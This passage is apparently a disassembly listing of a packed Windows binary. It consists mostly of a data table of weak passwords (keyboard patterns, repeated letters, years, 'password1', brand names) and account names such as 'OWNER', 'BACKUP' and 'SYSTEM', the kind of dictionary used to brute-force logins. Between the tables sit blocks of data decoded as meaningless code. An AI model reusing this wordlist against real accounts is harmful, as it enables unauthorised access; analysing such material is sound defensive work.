dd offset a12abc ; "12abc"
dd offset a12asd ; "12asd"
dd offset a12qwe ; "12qwe"
dd offset a123qwer ; "123qwer"
dd offset a123abc ; "123abc"
dd offset a123asd ; "123asd"
dd offset a123qwe ; "123qwe"
dd offset a1234qwer ; "1234qwer"
dd offset a1234abc ; "1234abc"
dd offset a1234asd ; "1234asd"
dd offset a1234qwe ; "1234qwe"
dd offset a1952 ; "1952"
dd offset a1953 ; "1953"
dd offset a1954 ; "1954"
dd offset a1955 ; "1955"
dd offset a1956 ; "1956"
dd offset a1957 ; "1957"
dd offset a1958 ; "1958"
dd offset a1959 ; "1959"
dd offset a1960 ; "1960"
dd offset a1961 ; "1961"
dd offset a1962 ; "1962"
dd offset a1963 ; "1963"
dd offset a1964 ; "1964"
dd offset a1965 ; "1965"
dd offset a1966 ; "1966"
dd offset a1967 ; "1967"
dd offset a1968 ; "1968"
dd offset a1969 ; "1969"
dd offset a1970 ; "1970"
dd offset a1971 ; "1971"
dd offset a1972 ; "1972"
dd offset a1973 ; "1973"
dd offset a1974 ; "1974"
dd offset a1975 ; "1975"
dd offset a1976 ; "1976"
dd offset a1977 ; "1977"
dd offset a1978 ; "1978"
dd offset a1979 ; "1979"
dd offset a1980 ; "1980"
dd offset a1981 ; "1981"
dd offset a1982 ; "1982"
dd offset a1983 ; "1983"
dd offset a1984 ; "1984"
dd offset a1985 ; "1985"
dd offset a1986 ; "1986"
dd offset a1987 ; "1987"
dd offset a1988 ; "1988"
dd offset a1989 ; "1989"
dd offset a1990 ; "1990"
dd offset a1991 ; "1991"
dd offset a1992 ; "1992"
dd offset a1993 ; "1993"
dd offset a1994 ; "1994"
dd offset a1995 ; "1995"
dd offset a1996 ; "1996"
dd offset a1997 ; "1997"
dd offset a1998 ; "1998"
dd offset a1999 ; "1999"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
; ---------------------------------------------------------------------------
push 60004287h
xchg eax, [edx+0]
pop eax
xchg eax, [edx+0]
db 64h
enter 42h, 54h
xchg eax, [edx+0]
dec esp
xchg eax, [edx+0]
add cl, cl
inc edx
add [eax], cl
leave
inc edx
add [edi+eax*4+42h], al
add [edi+eax*4], bh
inc edx
add [edi+eax*4], dh
inc edx
add [edi+eax*4], ch
inc edx
add [edi+eax*4], ah
inc edx
add [edi+eax*4], bl
inc edx
add [eax], dl
xchg eax, [edx+0]
or [edi-7903FFBEh], al
inc edx
add al, bh
xchg al, [edx+0]
lock xchg al, [edx+0]
push eax
push esi
inc edx
add [eax-13FFBD39h], dh
xchg al, [edx+0]
lodsb
mov dword ptr [edx+0], offset aAaaa ; "aaaa"
fadd qword ptr [esi-792BFFBEh]
inc edx
add ah, cl
xchg al, [edx+0]
rol byte ptr [esi-794BFFBEh], 42h
add [eax-63FFBD7Ah], ch
xchg al, [edx+0]
cwde
xchg al, [edx+0]
xchg eax, esp
xchg al, [edx+0]
add bh, 42h
add [ecx+42h], bl
add [ecx+42h], dl
add [esi+eax*4-797FFFBEh], cl
inc edx
add [esi+eax*4+42h], dh
add [eax-7Ah], ch
inc edx
add [eax], cl
retf
; ---------------------------------------------------------------------------
dw 42h
; ---------------------------------------------------------------------------
pusha
xchg al, [edx+0]
mov al, 9Dh
inc edx
add [eax-7Ah], bl
inc edx
add [esi+eax*4+42h], cl
add [esi+eax*4+42h], al
add [ecx+ecx*8-79BFFFBEh], bl
inc edx
add [esi+eax*4], bh
inc edx
add [eax], bh
xchg al, [edx+0]
rcl byte ptr [edi-79CBFFBEh], 42h
add [esi+eax*4], ch
inc edx
add [edi+edx*4+42h], dl
add [esi+eax*8], bh
inc edx
add [eax], bh
mov byte ptr [edx+0], 34h
loc_427DE9: ; CODE XREF: .nsp0:00427E20j
mov byte ptr [edx+0], 2Ch
mov byte ptr [edx+0], 24h
mov byte ptr [edx+0], 1Ch
mov byte ptr [edx+0], 14h
mov byte ptr [edx+0], 8
mov byte ptr [edx+0], 0FCh
lds eax, [edx+0]
fmul qword ptr [ebp-6D0BFFBEh]
inc edx
add ah, ch
xchg eax, edx
inc edx
add [esi+eax*4], ah
inc edx
add [eax], ah
xchg al, [edx+0]
sbb al, 86h
inc edx
add [eax], bl
xchg al, [edx+0]
jo short loc_427DE9
inc edx
add [eax], dl
xchg al, [edx+0]
or [esi-79FFFFBEh], al
inc edx
add ah, bh
test [edx+0], eax
mov esp, 90004290h
mov dword ptr [edx+0], offset aAsdfg ; "asdfg"
; ---------------------------------------------------------------------------
dd offset aAsdfgh ; "asdfgh"
dd offset aAsdfghj ; "asdfghj"
dd offset aAsdfghjk ; "asdfghjk"
dd offset aAsdfghjkl ; "asdfghjkl"
dd offset aQaz ; "qaz"
dd offset aWsx ; "wsx"
dd offset aEdc ; "edc"
dd offset aRfv ; "rfv"
dd offset aB_0 ; "b"
dd offset aBb ; "bb"
dd offset aBbb ; "bbb"
dd offset aBbbb ; "bbbb"
dd offset aBbbbb ; "bbbbb"
dd offset aBbbbbb ; "bbbbbb"
dd offset aBbbbbbb ; "bbbbbbb"
dd offset aBbbbbbbb ; "bbbbbbbb"
dd offset aBbbbbbbbb ; "bbbbbbbbb"
dd offset aC ; "c"
dd offset aCc_1 ; "cc"
dd offset aCcc ; "ccc"
dd offset aCccc_0 ; "cccc"
dd offset aCcccc ; "ccccc"
dd offset aCccccc ; "cccccc"
dd offset aCcccccc ; "ccccccc"
dd offset aCccccccc ; "cccccccc"
dd offset aCcccccccc ; "ccccccccc"
dd offset aD ; "d"
dd offset aDd ; "dd"
dd offset aDdd ; "ddd"
dd offset aDddd ; "dddd"
dd offset aDdddd ; "ddddd"
dd offset aF ; "f"
dd offset aFf ; "ff"
dd offset aFff ; "fff"
dd offset aFfff ; "ffff"
dd offset aFffff ; "fffff"
dd offset aE ; "e"
dd offset aEe ; "ee"
dd offset aEee ; "eee"
dd offset aEeee ; "eeee"
dd offset aEeeee ; "eeeee"
dd offset aEeeeee ; "eeeeee"
dd offset aG ; "g"
dd offset aGg ; "gg"
dd offset aGgg ; "ggg"
dd offset aGggg ; "gggg"
dd offset aGgggg ; "ggggg"
dd offset aGggggg ; "gggggg"
dd offset asc_4284B0 ; "h"
dd offset aHh ; "hh"
dd offset aHhh ; "hhh"
dd offset aHhhh ; "hhhh"
dd offset aHhhhh ; "hhhhh"
dd offset aHhhhhh ; "hhhhhh"
dd offset aI_0 ; "i"
dd offset aIi ; "ii"
dd offset aIii ; "iii"
dd offset aIiii ; "iiii"
dd offset aIiiii ; "iiiii"
dd offset aIiiiii ; "iiiiii"
dd offset aJ ; "j"
dd offset aJj ; "jj"
dd offset aJjj ; "jjj"
dd offset aJjjj ; "jjjj"
dd offset aJjjjj ; "jjjjj"
dd offset aJjjjjj ; "jjjjjj"
dd offset aK ; "k"
dd offset aKk ; "kk"
dd offset aKkk ; "kkk"
dd offset aKkkk ; "kkkk"
dd offset aKkkkk ; "kkkkk"
dd offset aKkkkkk ; "kkkkkk"
dd offset asc_428420 ; "l"
dd offset aLl ; "ll"
dd offset aLll ; "lll"
dd offset aLlll ; "llll"
dd offset aLllll ; "lllll"
dd offset aLlllll ; "llllll"
dd offset aM ; "m"
dd offset aMm ; "mm"
dd offset aMmm ; "mmm"
dd offset aMmmm ; "mmmm"
dd offset aMmmmm ; "mmmmm"
dd offset aMmmmmm ; "mmmmmm"
dd offset aN ; "n"
dd offset aNn ; "nn"
dd offset aNnn ; "nnn"
dd offset aNnnn ; "nnnn"
dd offset aNnnnn ; "nnnnn"
dd offset aNnnnnn ; "nnnnnn"
dd offset aO ; "o"
dd offset aOo ; "oo"
dd offset aOoo ; "ooo"
dd offset aOooo ; "oooo"
dd offset aOoooo ; "ooooo"
dd offset aOooooo ; "oooooo"
dd offset aP ; "p"
dd offset aPp ; "pp"
dd offset aPpp ; "ppp"
dd offset aPppp ; "pppp"
dd offset aPpppp ; "ppppp"
dd offset aPppppp ; "pppppp"
dd offset aU ; "u"
dd offset aUu ; "uu"
dd offset aUuu ; "uuu"
dd offset aUuuu ; "uuuu"
dd offset aUuuuu ; "uuuuu"
dd offset aUuuuuu ; "uuuuuu"
dd offset aS_4 ; "s"
dd offset aSs ; "ss"
dd offset aSss ; "sss"
dd offset aSsss ; "ssss"
dd offset aSssss ; "sssss"
dd offset aSsssss ; "ssssss"
dd offset aT ; "t"
dd offset aTt ; "tt"
dd offset aTtt ; "ttt"
dd offset aTttt ; "tttt"
dd offset aTtttt ; "ttttt"
dd offset aTttttt ; "tttttt"
dd offset aY ; "y"
dd offset aYy ; "yy"
dd offset aYyy ; "yyy"
dd offset aYyyy ; "yyyy"
dd offset aYyyyy ; "yyyyy"
dd offset aYyyyyy ; "yyyyyy"
dd offset aV ; "v"
dd offset aVv ; "vv"
dd offset aVvv ; "vvv"
dd offset aVvvv ; "vvvv"
dd offset aVvvvv ; "vvvvv"
dd offset aVvvvvv ; "vvvvvv"
dd offset aW ; "w"
dd offset aWw ; "ww"
dd offset aWww ; "www"
dd offset aWwww ; "wwww"
dd offset aWwwww ; "wwwww"
dd offset aWwwwww ; "wwwwww"
dd offset aQ ; "q"
dd offset aQq ; "qq"
dd offset aQqq ; "qqq"
dd offset aQqqq ; "qqqq"
dd offset aQqqqq ; "qqqqq"
dd offset aQqqqqq ; "qqqqqq"
dd offset aZ ; "z"
dd offset aZz ; "zz"
dd offset aZzz ; "zzz"
dd offset aZzzz ; "zzzz"
dd offset aZzzzz ; "zzzzz"
dd offset aZzzzzz ; "zzzzzz"
dd offset aXxyyzz ; "xxyyzz"
dd offset aZzxx ; "zzxx"
dd offset aAass ; "aass"
dd offset aQqww ; "qqww"
dd offset aZzzxxxccc ; "zzzxxxccc"
dd offset aAaasssddd ; "aaasssddd"
dd offset aQqqwwweee ; "qqqwwweee"
dd offset aQqwwee ; "qqwwee"
dd offset aAassdd ; "aassdd"
dd offset aZzxxcc ; "zzxxcc"
dd offset a1qaz ; "1qaz"
dd offset a2wsx ; "2wsx"
dd offset a2qaz ; "2qaz"
; ---------------------------------------------------------------------------
fadd dword ptr [ecx-7E2FFFBEh]
inc edx
add al, cl
add dword ptr [edx+0], offset aMnb ; "mnb"
mov esp, 0B4004281h
add dword ptr [edx+0], offset a2684 ; "2684"
movsb
add dword ptr [edx+0], offset a753159 ; "753159"
xchg eax, esp
add dword ptr [edx+0], offset a951753 ; "951753"
test [ecx-7E83FFBEh], al
inc edx
add [esi+eax*4+42h], al
add [eax-36h], cl
inc edx
add [ebx+ecx*8+42h], ah
add [ebx+ecx*8+42h], dl
add [eax-36h], al
inc edx
add [edx+ecx*8], bh
inc edx
add [edx+ecx*8], dh
inc edx
add [edx+ecx*8], ch
inc edx
add [eax], cl
retf
; ---------------------------------------------------------------------------
inc edx
add [edx+ecx*8], ah
inc edx
add [eax], bl
retf 42h
; ---------------------------------------------------------------------------
adc dl, cl
inc edx
add [eax], cl
retf 42h
; ---------------------------------------------------------------------------
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_0 ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem ; "SYSTEM"
dd offset aServer_0 ; "SERVER"
align 8
dword_428178 dd 10h ; .nsp0:0040AA51r ...
a142536 db '142536',0
align 4
a753951 db '753951',0
align 4
a951753 db '951753',0 ; DATA XREF: .nsp0:004280F1o
align 4
a159357 db '159357',0
align 4
a753159 db '753159',0 ; DATA XREF: .nsp0:004280E9o
align 4
a13579 db '13579',0
align 4
a2684 db '2684',0 ; DATA XREF: .nsp0:004280E1o
align 4
a2486 db '2486',0
align 4
aMnbv db 'mnbv',0
align 4
aMnb db 'mnb',0 ; DATA XREF: .nsp0:004280D5o
a112233 db '112233',0
align 10h
a3wsx db '3wsx',0
align 4
a3edc db '3edc',0
align 10h
a2qaz db '2qaz',0 ; DATA XREF: .nsp0:004280C8o
align 4
a2wsx db '2wsx',0 ; DATA XREF: .nsp0:004280C4o
align 10h
a1qaz db '1qaz',0 ; DATA XREF: .nsp0:004280C0o
align 4
aZzxxcc db 'zzxxcc',0 ; DATA XREF: .nsp0:004280BCo
align 10h
aAassdd db 'aassdd',0 ; DATA XREF: .nsp0:004280B8o
align 4
aQqwwee db 'qqwwee',0 ; DATA XREF: .nsp0:004280B4o
align 10h
aQqqwwweee db 'qqqwwweee',0 ; DATA XREF: .nsp0:004280B0o
align 4
aAaasssddd db 'aaasssddd',0 ; DATA XREF: .nsp0:004280ACo
align 4
aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: .nsp0:004280A8o
align 4
aQqww db 'qqww',0 ; DATA XREF: .nsp0:004280A4o
align 4
aAass db 'aass',0 ; DATA XREF: .nsp0:004280A0o
align 4
aZzxx db 'zzxx',0 ; DATA XREF: .nsp0:0042809Co
align 4
aXxyyzz db 'xxyyzz',0 ; DATA XREF: .nsp0:00428098o
align 4
aZzzzzz db 'zzzzzz',0 ; DATA XREF: .nsp0:00428094o
align 4
aZzzzz db 'zzzzz',0 ; DATA XREF: .nsp0:00428090o
align 4
aZzzz db 'zzzz',0 ; DATA XREF: .nsp0:0042808Co
align 4
aZzz db 'zzz',0 ; DATA XREF: .nsp0:00428088o
aZz db 'zz',0 ; DATA XREF: .nsp0:00428084o
align 4
aQqqqqq db 'qqqqqq',0 ; DATA XREF: .nsp0:0042807Co
align 4
aQqqqq db 'qqqqq',0 ; DATA XREF: .nsp0:00428078o
align 4
aQqqq db 'qqqq',0 ; DATA XREF: .nsp0:00428074o
align 4
aQqq db 'qqq',0 ; DATA XREF: .nsp0:00428070o
aQq db 'qq',0 ; DATA XREF: .nsp0:0042806Co
align 4
aQ: ; DATA XREF: .nsp0:00428068o
unicode 0, <q>,0
aWwwwww db 'wwwwww',0 ; DATA XREF: .nsp0:00428064o
align 10h
aWwwww db 'wwwww',0 ; DATA XREF: .nsp0:00428060o
align 4
aWwww db 'wwww',0 ; DATA XREF: .nsp0:0042805Co
align 10h
aWww db 'www',0 ; DATA XREF: .nsp0:00428058o
aWw db 'ww',0 ; DATA XREF: .nsp0:00428054o
align 4
aW: ; DATA XREF: .nsp0:00428050o
unicode 0, <w>,0
aVvvvvv db 'vvvvvv',0 ; DATA XREF: .nsp0:0042804Co
align 4
aVvvvv db 'vvvvv',0 ; DATA XREF: .nsp0:00428048o
align 4
aVvvv db 'vvvv',0 ; DATA XREF: .nsp0:00428044o
align 4
aVvv db 'vvv',0 ; DATA XREF: .nsp0:00428040o
aVv db 'vv',0 ; DATA XREF: .nsp0:0040C5CAo
; .nsp0:0042803Co
align 4
aV: ; DATA XREF: .nsp0:00428038o
unicode 0, <v>,0
aYyyyyy db 'yyyyyy',0 ; DATA XREF: .nsp0:00428034o
align 4
aYyyyy db 'yyyyy',0 ; DATA XREF: .nsp0:00428030o
align 10h
aYyyy db 'yyyy',0 ; DATA XREF: .nsp0:0042802Co
align 4
aYyy db 'yyy',0 ; DATA XREF: .nsp0:00428028o
aYy db 'yy',0 ; DATA XREF: .nsp0:00428024o
align 10h
aY: ; DATA XREF: .nsp0:00428020o
unicode 0, <y>,0
aTttttt db 'tttttt',0 ; DATA XREF: .nsp0:0042801Co
align 4
aTtttt db 'ttttt',0 ; DATA XREF: .nsp0:00428018o
align 4
aTttt db 'tttt',0 ; DATA XREF: .nsp0:00428014o
align 4
aTtt db 'ttt',0 ; DATA XREF: .nsp0:00428010o
aTt db 'tt',0 ; DATA XREF: .nsp0:0042800Co
align 4
aT: ; DATA XREF: .nsp0:00428008o
unicode 0, <t>,0
aSsssss db 'ssssss',0 ; DATA XREF: .nsp0:00428004o
align 10h
aSssss db 'sssss',0 ; DATA XREF: .nsp0:00428000o
align 4
aSsss db 'ssss',0 ; DATA XREF: .nsp0:00427FFCo
align 10h
aSss db 'sss',0 ; DATA XREF: .nsp0:00427FF8o
aSs db 'ss',0 ; DATA XREF: .nsp0:00427FF4o
align 4
aS_4: ; DATA XREF: .nsp0:00427FF0o
unicode 0, <s>,0
aUuuuuu db 'uuuuuu',0 ; DATA XREF: .nsp0:00427FECo
align 4
aUuuuu db 'uuuuu',0 ; DATA XREF: .nsp0:00427FE8o
align 4
aUuuu db 'uuuu',0 ; DATA XREF: .nsp0:00427FE4o
align 4
aUuu db 'uuu',0 ; DATA XREF: .nsp0:00427FE0o
aUu db 'uu',0 ; DATA XREF: .nsp0:00427FDCo
align 4
aU: ; DATA XREF: .nsp0:00427FD8o
unicode 0, <u>,0
aPppppp db 'pppppp',0 ; DATA XREF: .nsp0:00427FD4o
align 4
aPpppp db 'ppppp',0 ; DATA XREF: .nsp0:00427FD0o
align 10h
aPppp db 'pppp',0 ; DATA XREF: .nsp0:00427FCCo
align 4
aPpp db 'ppp',0 ; DATA XREF: .nsp0:00427FC8o
aPp db 'pp',0 ; DATA XREF: .nsp0:00427FC4o
align 10h
aP: ; DATA XREF: .nsp0:00427FC0o
unicode 0, <p>,0
aOooooo db 'oooooo',0 ; DATA XREF: .nsp0:00427FBCo
align 4
aOoooo db 'ooooo',0 ; DATA XREF: .nsp0:00427FB8o
align 4
aOooo db 'oooo',0 ; DATA XREF: .nsp0:00427FB4o
align 4
aOoo db 'ooo',0 ; DATA XREF: .nsp0:00427FB0o
aOo db 'oo',0 ; DATA XREF: .nsp0:00427FACo
align 4
aO: ; DATA XREF: .nsp0:00427FA8o
unicode 0, <o>,0
aNnnnnn db 'nnnnnn',0 ; DATA XREF: .nsp0:00427FA4o
align 10h
aNnnnn db 'nnnnn',0 ; DATA XREF: .nsp0:00427FA0o
align 4
aNnnn db 'nnnn',0 ; DATA XREF: .nsp0:00427F9Co
align 10h
aNnn db 'nnn',0 ; DATA XREF: .nsp0:00427F98o
aNn db 'nn',0 ; DATA XREF: .nsp0:00427F94o
align 4
aN: ; DATA XREF: .nsp0:00427F90o
unicode 0, <n>,0
aMmmmmm db 'mmmmmm',0 ; DATA XREF: .nsp0:00427F8Co
align 4
aMmmmm db 'mmmmm',0 ; DATA XREF: .nsp0:00427F88o
align 4
aMmmm db 'mmmm',0 ; DATA XREF: .nsp0:00427F84o
align 4
aMmm db 'mmm',0 ; DATA XREF: .nsp0:00427F80o
aMm db 'mm',0 ; DATA XREF: .nsp0:00427F7Co
align 4
aM: ; DATA XREF: .nsp0:00427F78o
unicode 0, <m>,0
aLlllll db 'llllll',0 ; DATA XREF: .nsp0:00427F74o
align 4
aLllll db 'lllll',0 ; DATA XREF: .nsp0:00427F70o
align 10h
aLlll db 'llll',0 ; DATA XREF: .nsp0:00427F6Co
align 4
aLll db 'lll',0 ; DATA XREF: .nsp0:00427F68o
aLl db 'll',0 ; DATA XREF: .nsp0:00427F64o
align 10h
asc_428420: ; DATA XREF: .nsp0:00427F60o
unicode 0, <l>,0
aKkkkkk db 'kkkkkk',0 ; DATA XREF: .nsp0:00427F5Co
align 4
aKkkkk db 'kkkkk',0 ; DATA XREF: .nsp0:00427F58o
align 4
aKkkk db 'kkkk',0 ; DATA XREF: .nsp0:00427F54o
align 4
aKkk db 'kkk',0 ; DATA XREF: .nsp0:00427F50o
aKk db 'kk',0 ; DATA XREF: .nsp0:00427F4Co
align 4
aK: ; DATA XREF: .nsp0:00427F48o
unicode 0, <k>,0
aJjjjjj db 'jjjjjj',0 ; DATA XREF: .nsp0:00427F44o
align 10h
aJjjjj db 'jjjjj',0 ; DATA XREF: .nsp0:00427F40o
align 4
aJjjj db 'jjjj',0 ; DATA XREF: .nsp0:00427F3Co
align 10h
aJjj db 'jjj',0 ; DATA XREF: .nsp0:00427F38o
aJj db 'jj',0 ; DATA XREF: .nsp0:00427F34o
align 4
aJ: ; DATA XREF: .nsp0:00427F30o
unicode 0, <j>,0
aIiiiii db 'iiiiii',0 ; DATA XREF: .nsp0:00427F2Co
align 4
aIiiii db 'iiiii',0 ; DATA XREF: .nsp0:00427F28o
align 4
aIiii db 'iiii',0 ; DATA XREF: .nsp0:00427F24o
align 4
aIii db 'iii',0 ; DATA XREF: .nsp0:00427F20o
aIi db 'ii',0 ; DATA XREF: .nsp0:00427F1Co
align 4
aI_0: ; DATA XREF: .nsp0:00427F18o
unicode 0, <i>,0
aHhhhhh db 'hhhhhh',0 ; DATA XREF: .nsp0:00427F14o
align 4
aHhhhh db 'hhhhh',0 ; DATA XREF: .nsp0:00427F10o
align 10h
aHhhh db 'hhhh',0 ; DATA XREF: .nsp0:00427F0Co
align 4
aHhh db 'hhh',0 ; DATA XREF: .nsp0:00427F08o
aHh db 'hh',0 ; DATA XREF: .nsp0:00427F04o
align 10h
asc_4284B0: ; DATA XREF: .nsp0:00427F00o
unicode 0, <h>,0
aGggggg db 'gggggg',0 ; DATA XREF: .nsp0:00427EFCo
align 4
aGgggg db 'ggggg',0 ; DATA XREF: .nsp0:00427EF8o
align 4
aGggg db 'gggg',0 ; DATA XREF: .nsp0:00427EF4o
align 4
aGgg db 'ggg',0 ; DATA XREF: .nsp0:00427EF0o
aGg db 'gg',0 ; DATA XREF: .nsp0:00427EECo
align 4
aG: ; DATA XREF: .nsp0:00427EE8o
unicode 0, <g>,0
aEeeeee db 'eeeeee',0 ; DATA XREF: .nsp0:00427EE4o
align 10h
aEeeee db 'eeeee',0 ; DATA XREF: .nsp0:00427EE0o
align 4
aEeee db 'eeee',0 ; DATA XREF: .nsp0:00427EDCo
align 10h
aEee db 'eee',0 ; DATA XREF: .nsp0:00427ED8o
aEe db 'ee',0 ; DATA XREF: .nsp0:00427ED4o
align 4
aE: ; DATA XREF: .nsp0:00427ED0o
unicode 0, <e>,0
aFffff db 'fffff',0 ; DATA XREF: .nsp0:00427ECCo
align 4
aFfff db 'ffff',0 ; DATA XREF: .nsp0:00427EC8o
align 4
aFff db 'fff',0 ; DATA XREF: .nsp0:00427EC4o
aFf db 'ff',0 ; DATA XREF: .nsp0:00427EC0o
align 4
aF: ; DATA XREF: .nsp0:00427EBCo
unicode 0, <f>,0
aDdddd db 'ddddd',0 ; DATA XREF: .nsp0:00427EB8o
align 10h
aDddd db 'dddd',0 ; DATA XREF: .nsp0:00427EB4o
align 4
aDdd db 'ddd',0 ; DATA XREF: .nsp0:00427EB0o
aDd db 'dd',0 ; DATA XREF: .nsp0:00427EACo
align 10h
aD: ; DATA XREF: .nsp0:00427EA8o
unicode 0, <d>,0
aCcccccccc db 'ccccccccc',0 ; DATA XREF: .nsp0:00427EA4o
align 10h
aCccccccc db 'cccccccc',0 ; DATA XREF: .nsp0:00427EA0o
align 4
aCcccccc db 'ccccccc',0 ; DATA XREF: .nsp0:00427E9Co
aCccccc db 'cccccc',0 ; DATA XREF: .nsp0:00427E98o
align 4
aCcccc db 'ccccc',0 ; DATA XREF: .nsp0:00427E94o
align 4
aCccc_0 db 'cccc',0 ; DATA XREF: .nsp0:00427E90o
align 4
aCcc db 'ccc',0 ; DATA XREF: .nsp0:00427E8Co
aCc_1 db 'cc',0 ; DATA XREF: .nsp0:00427E88o
align 4
aC: ; DATA XREF: .nsp0:00427E84o
unicode 0, <c>,0
aBbbbbbbbb db 'bbbbbbbbb',0 ; DATA XREF: .nsp0:00427E80o
align 4
aBbbbbbbb db 'bbbbbbbb',0 ; DATA XREF: .nsp0:00427E7Co
align 10h
aBbbbbbb db 'bbbbbbb',0 ; DATA XREF: .nsp0:00427E78o
aBbbbbb db 'bbbbbb',0 ; DATA XREF: .nsp0:00427E74o
align 10h
aBbbbb db 'bbbbb',0 ; DATA XREF: .nsp0:00427E70o
align 4
aBbbb db 'bbbb',0 ; DATA XREF: .nsp0:00427E6Co
align 10h
aBbb db 'bbb',0 ; DATA XREF: .nsp0:00427E68o
aBb db 'bb',0 ; DATA XREF: .nsp0:00427E64o
align 4
aB_0: ; DATA XREF: .nsp0:00427E60o
unicode 0, <b>,0
aRfv db 'rfv',0 ; DATA XREF: .nsp0:00427E5Co
aEdc db 'edc',0 ; DATA XREF: .nsp0:00427E58o
aWsx db 'wsx',0 ; DATA XREF: .nsp0:00427E54o
aQaz db 'qaz',0 ; DATA XREF: .nsp0:00427E50o
aAsdfghjkl db 'asdfghjkl',0 ; DATA XREF: .nsp0:00427E4Co
align 4
aAsdfghjk db 'asdfghjk',0 ; DATA XREF: .nsp0:00427E48o
align 4
aAsdfghj db 'asdfghj',0 ; DATA XREF: .nsp0:00427E44o
aAsdfgh db 'asdfgh',0 ; DATA XREF: .nsp0:00427E40o
align 4
aAsdfg db 'asdfg',0 ; DATA XREF: .nsp0:00427E39o
align 4
aAs db 'as',0
align 10h
aZxcvbnm db 'zxcvbnm',0
aZxcvbn db 'zxcvbn',0
align 10h
aZxcvb db 'zxcvb',0
align 4
aZxc db 'zxc',0
aZx db 'zx',0
align 10h
aZ: ; DATA XREF: .nsp0:00428080o
unicode 0, <z>,0
aKonyang db 'konyang',0
aToyota_0 db 'TOYOTA',0
align 4
aKor db 'KOR',0
aKor_0 db 'kor',0
aChi db 'chi',0
dd offset byte_494843
aSystem_0 db 'system',0
align 4
aServices db 'services',0
align 4
aServers db 'servers',0
aServer_1 db 'server',0
align 4
aQwertyuiop db 'qwertyuiop',0
align 4
aQwertyuio db 'qwertyuio',0
align 10h
aQwertyui db 'qwertyui',0
align 4
aQwertyu db 'qwertyu',0
aQwe db 'qwe',0
aQw db 'qw',0
align 4
aPassword1 db 'password1',0
align 4
aPassword db 'Password',0
align 4
aAaaaaaaaa db 'aaaaaaaaa',0
align 10h
aAaaaaaaa db 'aaaaaaaa',0
align 4
aAaaaaaa db 'aaaaaaa',0
aAaaaaa db 'aaaaaa',0
align 4
aAaaaa db 'aaaaa',0
align 4
aAaaa db 'aaaa',0 ; DATA XREF: .nsp0:00427D61o
align 4
aAa db 'aa',0
align 10h
aNokia db 'NOKIA',0
align 4
aSex db 'SEX',0
aCreative db 'CREATIVE',0
align 4
aDisc_0 db 'DISC',0
align 10h
aMicrosoft db 'MICROSOFT',0
align 4
aMaster_0 db 'MASTER',0
align 4
aSony db 'SONY',0
align 4
aSamsung db 'samsung',0
aSamsung_0 db 'SAMSUNG',0
aSony_0 db 'sony',0
align 4
a7654321 db '7654321',0
a4321 db '4321',0
align 4
a321 db '321',0
a2006 db '2006',0
align 10h
a2005 db '2005',0
align 4
a2004 db '2004',0
align 10h
a2001 db '2001',0 ; DATA XREF: .nsp0:00427CFCo
align 4
a2000 db '2000',0 ; DATA XREF: .nsp0:00427CF8o
align 10h
a1999 db '1999',0 ; DATA XREF: .nsp0:00427CF4o
align 4
a1998 db '1998',0 ; DATA XREF: .nsp0:00427CF0o
align 10h
a1997 db '1997',0 ; DATA XREF: .nsp0:00427CECo
align 4
a1996 db '1996',0 ; DATA XREF: .nsp0:00427CE8o
align 10h
a1995 db '1995',0 ; DATA XREF: .nsp0:00427CE4o
align 4
a1994 db '1994',0 ; DATA XREF: .nsp0:00427CE0o
align 10h
a1993 db '1993',0 ; DATA XREF: .nsp0:00427CDCo
align 4
a1992 db '1992',0 ; DATA XREF: .nsp0:00427CD8o
align 10h
a1991 db '1991',0 ; DATA XREF: .nsp0:00427CD4o
align 4
a1990 db '1990',0 ; DATA XREF: .nsp0:00427CD0o
align 10h
a1989 db '1989',0 ; DATA XREF: .nsp0:00427CCCo
align 4
a1988 db '1988',0 ; DATA XREF: .nsp0:00427CC8o
align 10h
a1987 db '1987',0 ; DATA XREF: .nsp0:00427CC4o
align 4
a1986 db '1986',0 ; DATA XREF: .nsp0:00427CC0o
align 10h
a1985 db '1985',0 ; DATA XREF: .nsp0:00427CBCo
align 4
a1984 db '1984',0 ; DATA XREF: .nsp0:00427CB8o
align 10h
a1983 db '1983',0 ; DATA XREF: .nsp0:00427CB4o
align 4
a1982 db '1982',0 ; DATA XREF: .nsp0:00427CB0o
align 10h
a1981 db '1981',0 ; DATA XREF: .nsp0:00427CACo
align 4
a1980 db '1980',0 ; DATA XREF: .nsp0:00427CA8o
align 10h
a1979 db '1979',0 ; DATA XREF: .nsp0:00427CA4o
align 4
a1978 db '1978',0 ; DATA XREF: .nsp0:00427CA0o
align 10h
a1977 db '1977',0 ; DATA XREF: .nsp0:00427C9Co
align 4
a1976 db '1976',0 ; DATA XREF: .nsp0:00427C98o
align 10h
a1975 db '1975',0 ; DATA XREF: .nsp0:00427C94o
align 4
a1974 db '1974',0 ; DATA XREF: .nsp0:00427C90o
align 10h
a1973 db '1973',0 ; DATA XREF: .nsp0:00427C8Co
align 4
a1972 db '1972',0 ; DATA XREF: .nsp0:00427C88o
align 10h
a1971 db '1971',0 ; DATA XREF: .nsp0:00427C84o
align 4
a1970 db '1970',0 ; DATA XREF: .nsp0:00427C80o
align 10h
a1969 db '1969',0 ; DATA XREF: .nsp0:00427C7Co
align 4
a1968 db '1968',0 ; DATA XREF: .nsp0:00427C78o
align 10h
a1967 db '1967',0 ; DATA XREF: .nsp0:00427C74o
align 4
a1966 db '1966',0 ; DATA XREF: .nsp0:00427C70o
align 10h
a1965 db '1965',0 ; DATA XREF: .nsp0:00427C6Co
align 4
a1964 db '1964',0 ; DATA XREF: .nsp0:00427C68o
align 10h
a1963 db '1963',0 ; DATA XREF: .nsp0:00427C64o
align 4
a1962 db '1962',0 ; DATA XREF: .nsp0:00427C60o
align 10h
a1961 db '1961',0 ; DATA XREF: .nsp0:00427C5Co
align 4
a1960 db '1960',0 ; DATA XREF: .nsp0:00427C58o
align 10h
a1959 db '1959',0 ; DATA XREF: .nsp0:00427C54o
align 4
a1958 db '1958',0 ; DATA XREF: .nsp0:00427C50o
align 10h
